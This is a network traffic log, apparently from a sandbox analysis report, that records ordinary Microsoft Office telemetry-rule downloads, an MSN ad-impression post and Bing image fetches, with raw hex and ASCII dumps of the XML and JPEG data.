2024-12-06 17:45:56 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:56 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 4927bbd2-c01e-000b-53cc-45e255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174556Z-1746fd949bddgsvjhC1EWRum2c00000004rg00000000t0wr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:56 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.6	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:56 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:57 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:56 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: d1823508-801e-008c-16d3-457130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174556Z-1746fd949bd6zq92hC1EWRry4800000004e000000000q225 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:57 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.6	49845	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:56 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:57 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:56 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: b9410fe1-901e-0015-5b03-48b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174556Z-r1cf579d778dc6d7hC1EWR2vs800000000t00000000011u9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-06 17:45:57 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.6	49846	20.223.35.26	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:57 UTC	265	OUT	POST /v3/Delivery/Events/Impression HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Content-Length: 1513 Content-Type: text/plain; charset=UTF-8 Host: arc.msn.com Connection: Keep-Alive Cache-Control: no-cache
2024-12-06 17:45:57 UTC	1513	OUT	Data Raw: 50 49 44 3d 34 32 36 30 38 31 35 34 32 26 54 49 44 3d 31 26 43 49 44 3d 31 32 38 30 30 30 30 30 30 30 30 31 36 31 35 36 30 39 26 42 49 44 3d 31 30 34 32 30 31 39 35 38 38 26 50 47 3d 50 43 30 30 30 50 30 46 52 35 2e 30 30 30 30 30 30 30 49 52 55 26 54 50 49 44 3d 34 32 36 30 38 31 35 34 32 26 52 45 51 41 53 49 44 3d 37 46 34 39 31 42 41 34 33 46 41 41 34 43 31 39 38 45 32 42 44 42 44 43 35 32 42 45 45 44 39 35 26 41 53 49 44 3d 64 61 31 62 34 63 30 38 61 33 36 37 34 66 64 66 62 30 30 39 31 61 64 66 63 30 61 63 61 37 31 30 26 54 49 4d 45 3d 32 30 32 34 31 32 30 36 54 31 37 34 35 34 31 5a 26 53 4c 4f 54 3d 31 26 52 45 51 54 3d 32 30 32 34 31 32 30 36 54 31 37 34 35 30 37 26 4d 41 5f 53 63 6f 72 65 3d 30 26 26 44 53 5f 45 56 54 49 44 3d 37 46 34 39 31 42 41 Data Ascii: PID=426081542&TID=1&CID=128000000001615609&BID=1042019588&PG=PC000P0FR5.0000000IRU&TPID=426081542&REQASID=7F491BA43FAA4C198E2BDBDC52BEED95&ASID=da1b4c08a3674fdfb0091adfc0aca710&TIME=20241206T174541Z&SLOT=1&REQT=20241206T174507&MA_Score=0&&DS_EVTID=7F491BA
2024-12-06 17:45:57 UTC	394	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/xml; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Fri, 06 Dec 2024 17:45:57 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.6	49847	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:57 UTC	346	OUT	GET /th?id=OADD2.10239360432410_1ZT9L3WG863INPZDE&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-06 17:45:57 UTC	856	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 435187 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 34E0C356C10F48ED9A1CB55825D96D5A Ref B: EWR311000107021 Ref C: 2024-12-06T17:45:57Z Date: Fri, 06 Dec 2024 17:45:57 GMT Connection: close
2024-12-06 17:45:57 UTC	15528	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 32 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 33 3a 32 36 20 32 31 3a 35 31 3a 31 37 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 04 38 00 00 a0 03 00 03 00 00 00 01 07 80 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 24.2 (Windows)2023:03:26 21:51:178C
2024-12-06 17:45:57 UTC	16384	IN	Data Raw: f7 6b 8f 1a 78 79 20 9a 4b 79 e4 ba 92 2d ab e4 c2 9f 33 e7 fb b9 ac 9d 4b e2 35 ac 11 ba c3 a4 ce b2 7f cb 1f b4 3e d5 fc 6b c7 f4 5f 18 dc c5 78 f6 b6 31 f9 aa af b9 3e 4f de cc c7 fb d5 42 36 69 75 c7 fb 65 dc ec d3 cd b9 36 7c db e4 ee a2 bc ea 99 ce 35 b7 7b 45 7a 6a 7a 54 f2 0c 0c 52 6f de f9 9e 85 e2 2f 8a fa d4 56 ab e5 fd 86 cd a7 4f 93 67 cc c9 f3 63 f8 ab 1b c4 5e 34 d7 2e b6 49 79 ae fe f2 24 f9 12 17 db bd bb 7d df 5a e7 35 89 ed 96 eb 74 37 71 c1 6e bb 55 f7 a2 b3 3d 72 9e 3c 97 cb b1 49 2c 6d 24 fb 3a fd cb b9 7e 59 5d 7f e0 35 14 6b d7 c4 c9 29 4d ea 74 cf 09 87 c2 c5 c9 41 69 f7 9d 15 c6 b7 73 71 0b dc 4d 77 1e db 79 bf 8f e6 57 f5 1b ab 37 58 d4 f5 55 92 6f b5 47 1b 36 f5 f2 53 e5 da eb d7 ad 70 b2 6a 2d 65 a9 25 ac 91 f9 bb 53 77 cf f3 Data Ascii: kxy Ky-3K5>k_x1>OB6iue6\|5{EzjzTRo/VOgc^4.Iy$}Z5t7qnU=r<I,m$:~Y]5k)MtAisqMwyW7XUoG6Spj-e%Sw
2024-12-06 17:45:57 UTC	16384	IN	Data Raw: aa 6a de 87 29 e6 4f ae 47 77 79 71 1f d8 be ce ff 00 3f cf 4d b1 92 c6 28 21 b1 5d 4e 78 9b ce f3 5d 13 ee d7 a2 e8 96 1a 32 cc f3 4f a5 47 2c 2c eb b1 2d df e6 ff 00 81 2d 5f d4 74 1d 09 ed 65 9a 1b 40 ac a9 f7 5d d7 e4 5a f5 a9 e3 29 da c9 7a 6d fa 9c ae 32 52 b4 b5 7d ff 00 a6 78 f7 80 6d 96 5f 88 de 2e d3 61 be b5 f3 1a 68 6e 61 79 60 dc ae ae bd 71 57 75 0d 01 57 58 87 ed 53 da de 32 ff 00 c0 62 fc 2b 2d b4 f8 25 fd a1 6e 2c 6d fc f8 9a f3 43 dd 0f 92 ff 00 7d a3 6f f0 ae ba fb 47 b9 b0 d3 52 de e1 f7 32 ee df b1 37 4b 5e 86 37 13 56 94 a1 51 3f 8a 31 d3 ae d6 fd 0e 2a 14 69 ca 33 a6 e3 f0 ca 5f 9d ff 00 53 8a d7 2c 67 82 fa 6b 88 e4 f2 a1 d9 b6 19 91 fe e7 e1 5c 74 de 1f bc d5 2f a1 8e 4f f5 cd fe ba e1 d1 9b 7f ff 00 ae bd 2f 47 95 6e 6e 9f ce 82 Data Ascii: j)OGwyq?M(!]Nx]2OG,,--_te@]Z)zm2R}xm_.ahnay`qWuWXS2b+-%n,mC}oGR27K^7VQ?1*i3_S,gk\t/O/Gnn
2024-12-06 17:45:57 UTC	16384	IN	Data Raw: b4 a7 4e ef 62 27 66 95 99 7e 69 77 c7 f6 59 3e 56 fe 0a 26 b4 ff 00 45 f2 e3 fb cc 9f c1 55 ec ed ef 2f 7f d5 c7 1a c8 bf 73 fd ba 95 91 92 45 91 a3 91 56 5f e0 fe e3 56 97 8e c9 ea 63 28 db 72 92 a4 b6 b1 cd fb cd d1 ab af df a9 21 75 b5 91 19 63 dc cc ff 00 23 bd 6b 47 a4 35 d4 7b 56 37 f9 91 95 ff 00 1e f5 3d e6 86 d6 d3 c3 1f de 8d 61 55 a8 fa d5 14 ec de a7 52 b3 4b 43 31 a7 69 6e b6 f9 7f 77 ee 22 55 ef 32 28 20 fd e7 de 64 f9 3f de ab 12 69 ed 65 6a d7 12 7d df e3 aa 76 b1 41 7b 6a f7 1f f3 c9 ff 00 9d 5c 31 10 94 6e 9e 86 6e 11 e7 29 dd 24 bb bf bb e6 ff 00 df 34 47 0c b2 4d b7 cc dc df df a9 af 2c d9 e4 49 1b cc fb 3c a9 fb ef c3 bd 6b 78 7f 4f 67 9f cb 9a 39 22 f2 b6 ab a7 f7 2a aa 57 84 69 b9 5c d3 d9 c5 bd 19 99 a1 db 4e b3 bc 32 47 ff 00 ed Data Ascii: Nb'f~iwY>V&EU/sEV_Vc(r!uc#kG5{V7=aURKC1inw"U2( d?iej}vA{j\1nn)$4GM,I<kxOg9"*Wi\N2G
2024-12-06 17:45:57 UTC	16384	IN	Data Raw: a5 bc f8 5d a7 eb d6 2f 37 97 ae 69 b2 6f dd bd f5 15 95 9f f0 db 8a b9 e1 70 cd 7b 8e 49 f9 ed f9 19 d3 cc 31 09 ae 78 af 96 af ff 00 4a 3e 69 f0 af 8a 7c 43 a3 4e ff 00 f0 8d df ea 36 1b d3 e7 48 5d 95 7f 26 e2 ba df 0c fc 5f f8 8d 6b 7c 8d 71 77 fd a9 6f bf e7 b7 9b cb 5d ff 00 f0 2e 0a d7 a4 43 fb 3b e9 52 fe f2 6d 67 52 9e 66 76 6d f2 ba af f2 5a d5 5f 83 db 24 db fd b5 b9 57 ef f9 ba 74 32 ff 00 e3 ed 53 4f 03 49 6b 39 eb e5 7f f8 05 55 cc a6 f4 85 2d 3c ed fa 39 1e 45 f1 4b c7 9a 9f 8f 2c 6d 2d ee 2c 24 d1 96 cd d9 92 de 1f df f9 cc df de fa 57 3d a1 f8 6b e2 24 bb 2e 34 3f b5 7c bf 72 68 7e 56 fd 0d 7b 8f fc 2b 4d 57 4b be fb 46 9f 3e 95 a9 42 bf f2 c6 e3 4b 87 fa 55 c8 74 ff 00 17 c5 3e db 7d 27 43 b5 da ff 00 c1 a5 c6 df ca ba 7f b3 68 4b 59 7b Data Ascii: ]/7iop{I1xJ>i\|CN6H]&_k\|qwo].C;RmgRfvmZ_$Wt2SOIk9U-<9EK,m-,$W=k$.4?\|rh~V{+MWKF>BKUt>}'ChKY{
2024-12-06 17:45:58 UTC	16384	IN	Data Raw: 75 9f cc fb cc af fc 1f 76 9f 7d 3d cc b0 27 cf fb 9d fb 5d 2a 59 9a 07 9f 6c 3e 66 e5 fb 9b 3e eb ad 45 1a 2c fb d9 63 dd fd ff 00 f7 aa a2 95 ee 27 b3 57 dc bf a9 6a 37 29 e4 ad ac 92 2a aa 7c 9b 3f ad 41 6b 2a de 40 ea d1 ee 99 7f 81 fe 5f ad 54 9a db c8 8f ce f2 24 f2 ff 00 8d ff 00 8a ab 69 f0 6f 93 cc 8e 7d d1 fd e4 de ff 00 c3 5b d1 b7 35 cc 2a 5d ab 21 93 5f cb 14 e8 d1 f9 9f 2f f7 fe f5 5c f3 1a ee c7 ed 12 7c d1 fd da a5 7d 04 52 49 e6 59 f9 9f 68 6f e0 fe fd 55 b5 ba 66 d8 bf 75 6a aa a4 e5 ce 91 54 a5 2e 4e 47 b9 ad 6e 8b e4 3b 5b c7 22 b2 a3 36 fa 9d a2 58 2d 53 f7 92 4b 1b 6d df bf f8 1a aa 5c 5e aa cf e4 f9 9f bb d9 f7 13 f8 da a4 b1 96 2b 8f 26 dd be f7 f1 ff 00 b7 58 ca 5c ac e8 84 1c 8b 5e 5c 12 c9 e5 c7 1e d9 9b fb 9f 77 eb 44 91 4a 90 Data Ascii: uv}=']Yl>f>E,c'Wj7)\|?Ak@_T$io}[5]!_/\\|}RIYhoUfujT.NGn;["6X-SKm\^+&X\^\wDJ
2024-12-06 17:45:58 UTC	16384	IN	Data Raw: 86 85 a5 5f c7 ff 00 3e f2 c1 f2 f3 dc 1a 25 99 60 ab 25 1a 90 7f d7 cc da 9e 5d 98 d0 8b e4 94 6f a6 f6 fb be 13 96 bc d2 f5 3b 09 13 74 f1 ed 97 fd 4e c7 f4 a9 a1 d3 9a 0d 37 cc 9a 39 d5 99 fe 44 ff 00 67 fd ea f4 3d 3e 4f 86 5a cc 17 77 d3 78 7b 52 b5 ff 00 a7 74 9f f8 8f 78 fb ed ac 5d 5b 53 d0 6c f4 af ec fb 1b 09 fc 95 7f dd 3d c3 fe f5 1b fd af f0 a9 f6 78 1a 12 6d 54 b2 ed 67 7f c5 1a 47 11 8e ac 92 95 27 74 f7 bc 6d f8 33 93 8e df 53 b3 df 71 6b 24 91 48 c8 db f7 c7 f2 ed db 96 5a cd d2 ee e2 fb cb e5 fc bf 7e b6 94 4b 7f 27 97 79 3c 0b 1b 7f 1b ee f9 fd 9a a1 d1 fc 1f 14 f7 cf 34 3e 21 b1 8b 77 f0 3e e5 5f ce b9 61 18 c9 2e 49 a5 ea ec 74 d5 a9 c8 df 34 1b f4 8b 7f 92 b8 fd 34 c1 2c 9b bf 77 bb f8 1d df ee 57 45 0f 88 6f 2c ac 7e cf 35 db cb 1a Data Ascii: _>%`%]o;tN79Dg=>OZwx{Rtx][Sl=xmTgG'tm3Sqk$HZ~K'y<4>!w>_a.It44,wWEo,~5
2024-12-06 17:45:58 UTC	16069	IN	Data Raw: e9 1e fd ae fb 1a b7 3c 2b a6 6a 13 ec bc 87 4d fb 57 fb 1b d7 f9 55 9b cd 73 50 96 07 8e 1d 49 2d d7 f8 e1 7f ba f5 b1 6b 73 72 f6 29 1d ac 1e 56 a1 12 2f 9c 90 ff 00 cb 68 cf 46 5a f6 b0 38 3c 2c 2b 3e 4b b6 b6 db 7f 91 e2 e6 18 cc 64 a8 ae 75 15 17 eb 6b 7e a8 e8 2d 22 f1 35 f2 4d 26 99 a5 49 67 1f 9b ba e2 d2 de 0f dd 79 9b 7e f6 df 7a 93 49 d2 3c 42 da 92 34 72 49 e4 cb fc 7b 19 76 31 ff 00 66 a2 f0 8d a7 8f e7 99 16 1f 3d 57 7f dc f3 36 ca eb 5f 43 78 1f cd 4d 1d 24 d5 20 46 99 53 fe 5b 27 cc 95 ec 4e 5e cd 73 4e 3a fa eb f3 3c 28 c5 4e 5c 94 e4 ad e4 b4 5e 87 8e 5f 68 9e 36 fd cd ad ad 85 d5 d4 8d 13 35 c3 db fd dd bb be 5c d7 1d ad 78 7b c5 96 53 ee ba d1 6e be fe df 91 37 7c df f0 1a fa 7a f3 5f b6 d3 b4 ab 88 ec 7e 66 5f fc 7e bc e2 fb c5 ba 84 Data Ascii: <+jMWUsPI-ksr)V/hFZ8<,+>Kduk~-"5M&Igy~zI<B4rI{v1f=W6_CxM$ FS['N^sN:<(N\^_h65\x{Sn7\|z_~f_~
2024-12-06 17:45:58 UTC	16384	IN	Data Raw: 3c 41 79 79 e2 a9 ed ec ec fc b6 91 9d 57 fe 03 ef 58 53 a9 56 32 ec 87 28 52 94 7c ff 00 13 3b 47 bb 6b 39 2d e3 ba b4 b1 96 de 24 da 9f 68 45 56 4c 7f 85 69 f9 9a 2d ef ee d6 de 05 91 9f e7 78 5f ee 35 45 ac 78 4b fb 07 7d d5 e5 df db ed e2 75 ff 00 5d fc 0b fc 42 b9 ef 16 1d 5d 63 9b 58 f0 cf 91 6f a6 de a7 94 e9 b3 e6 76 fe f0 fa 51 3f 7b e1 d7 fa f3 2e 11 e5 5e f7 f5 f7 1d be 9b a3 dc da 7e e6 69 3c d8 7e f4 33 7f 43 5d 46 97 fb af 9b ee ff 00 7f 65 79 8f c1 df 88 b3 f8 87 55 9b c3 3a c5 be ed 4a 2d db 26 87 ee be cf bd ba bd 22 1b b5 8b 6e ef f7 6b c8 aa db d6 d6 3b 63 4d 53 95 ae 74 b6 b3 34 b0 79 73 7c df dc 7a ca f1 e7 87 ac 7c 4b e1 9b 8d 1f 56 83 cd 86 54 f9 1f f8 91 bd 6a dd 8c 8b 24 7b 56 b4 ad e5 df 1f 97 27 de ac a8 d6 95 39 26 b7 36 9d 35 Data Ascii: <AyyWXSV2(R\|;Gk9-$hEVLi-x_5ExK}u]B]cXovQ?{.^~i<~3C]FeyU:J-&"nk;cMSt4ys\|z\|KVTj${V'9&65
2024-12-06 17:45:58 UTC	16384	IN	Data Raw: 64 9b 6f 5d 13 38 98 67 6f f7 99 bf 81 eb 5b 4d b0 d7 20 9d e6 b7 ff 00 47 6f f6 3e 6f 97 de ba 4d 6b c2 57 3a 75 f2 69 f0 c7 05 bc 8b 6f b9 d2 64 5f 36 6f 52 a7 35 81 1d fd 9e 95 27 d9 e3 b0 91 59 77 6f 47 a3 ea 54 f0 f7 95 4d 57 90 e3 8e 9e 29 5a 09 7c ff 00 e0 9b 1a 5f 8b 35 7b 2f f5 3e 45 d4 91 7f 06 ca ba bf 13 ef 3c 8d ab a6 da c5 32 fc ae ee ed 5c 14 d7 10 49 7d e7 43 25 d4 5b 9f fd 4a 55 49 27 97 ed 4e de 44 9e 5b 7d fd f1 d7 33 c4 e2 63 29 38 4d db a6 a7 47 d5 70 92 69 4e 9a bf a1 ed da 1f c5 bd 3e 5b 4f 27 54 b1 92 28 f6 7c 93 5b fc df 37 b8 35 9b e3 6b ab 4d 43 4d fe d0 b1 9e 3b 88 5b f8 d2 bc e6 1d 46 26 8d 21 f2 e3 5f f6 ff 00 86 ad 69 37 33 e9 cf 34 6b fb d8 6e 11 77 ff 00 77 fd ea eb c0 67 55 28 c9 7b 67 78 f5 ee 70 e6 59 15 3a d4 db a0 ad Data Ascii: do]8go[M Go>oMkW:uiod_6oR5'YwoGTMW)Z\|_5{/>E<2\I}C%[JUI'ND[}3c)8MGpiN>[O'T(\|[75kMCM;[F&!_i734knwwgU({gxpY:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.6	49848	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:57 UTC	375	OUT	GET /th?id=OADD2.10239360432411_13QPWJ00JGY7I4CI1&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-06 17:45:58 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 490098 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 3B3B568948F54F9E91B6C6A01A3F9956 Ref B: EWR30EDGE0407 Ref C: 2024-12-06T17:45:57Z Date: Fri, 06 Dec 2024 17:45:57 GMT Connection: close
2024-12-06 17:45:58 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 32 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 33 3a 32 36 20 32 31 3a 34 39 3a 30 32 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 07 80 00 00 a0 03 00 03 00 00 00 01 04 38 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 24.2 (Windows)2023:03:26 21:49:028C
2024-12-06 17:45:58 UTC	16384	IN	Data Raw: 6f b9 0f d9 63 dd f9 d5 8f f8 5e 7e 3f 69 21 5b 7b bb 56 db fd fb 55 6d ff 00 53 4a 58 ae 5f 8a 0d 7d c3 59 7b 6a f1 a8 9f de 7d 39 b2 85 8b 77 dd 8e bc 5f c2 ff 00 11 fc 6b a8 5a fd a2 ea 78 16 35 fb 8e 96 aa bb db b8 ff 00 6a aa eb de 27 be b8 44 93 52 d5 ae a5 9b 66 ef b3 f9 ec ac eb ff 00 01 e2 bc da 99 f5 18 cb 96 31 6d fc 8f 4a 97 0e e2 26 b9 a5 34 97 cc f7 4f 29 ff 00 b9 25 0b 03 1f e0 af 9b 34 df 14 eb 57 9b e4 d3 f5 6d 56 25 de d0 23 c3 3f dc 6f e8 2a fd bc b7 d2 cd 34 3a 86 b5 3d c5 c3 7f a9 74 79 1b 7f e4 69 4f 3c 84 37 86 be a5 53 e1 da 93 da a6 9e 9f f0 4f a0 9a 2d bf 7a 8f 2e be 74 d3 7c 47 ad 68 3a 94 36 fa 0e bb 7c b6 6a ea ce 8e fb a2 dd e8 c8 d9 e3 d6 bb 06 f8 